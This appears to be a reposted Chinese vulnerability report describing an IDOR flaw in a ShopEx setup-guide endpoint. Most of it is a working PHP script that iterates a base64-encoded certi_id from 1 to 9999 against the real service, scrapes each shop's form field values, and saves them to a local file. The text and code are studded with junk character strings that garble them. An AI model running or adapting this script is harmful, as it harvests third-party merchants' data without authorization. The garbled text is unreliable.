ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
5 ^; S% _" c3 J* b; S问题出现在shopex 网店使用向导页面
2 p7 F8 ~1 w# S4 U, W


. J+ ^1 b. y2 U" j1 `" thttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


  o6 m& m# S" a+ `* H
' z2 b+ l" ^$ Z) f6 [# q+ S" [我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


' |6 ?" O" ]/ t3 D
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
* \  W  Q8 j! Q6 t
! B6 i+ g: y( W3 D+ g4 D3 D% H                        ShowshopExD($i);

                }

. g1 y; O8 A9 ^3 O! e! ]                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

! g' }; F1 j& e! F6 |( [1 y& G                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
; m4 D% y+ e! w% e2 Q
$ r) y8 I! y0 a7 t- e        $ch = curl_init($url);

  G$ P/ Y* Q7 o5 M) ~. A7 I; |        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
& \1 R+ ], g' P5 f. D  H; |
+ b- S2 G( m3 D' J# d6 X        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

/ V7 V! E- r8 R        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

  X! q  @# S! F/ N) v+ q* G" O5 U1 U        if(strpos($result,$refer))

        {
( T6 W2 s( b6 x: t; [( [
. B4 T9 Q% Z' q% |: @; |& C" }                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

1 ]3 o. x7 A8 t; P4 h                foreach ($value[1] as $key) {
* b+ {0 q  _: C1 G
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

9 m8 Y1 W3 q/ a# \  e3 b& P                        fwrite($fp, $col, strlen($col));

                }
7 v, f4 B) I' u$ r
                echo '--------------------------------'."\r\n";
4 d4 d$ r  X, @2 w$ L
; H& s/ r. E9 T                fclose($fp);
: f8 [  z) {% a' W- k4 l/ T1 e
        }
8 D( e: [2 i% Z
        flush();

        curl_close($ch);

2 o( p& R) \( w  v! g  u+ {; ^6 X. m* X                }

3 |. t9 B* n7 b4 _8 E8 Z?>
漏洞证明：
! |4 z9 ~' b3 a$ T) G+ s5 R$ chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
; C. Q( j! {  _7 z- A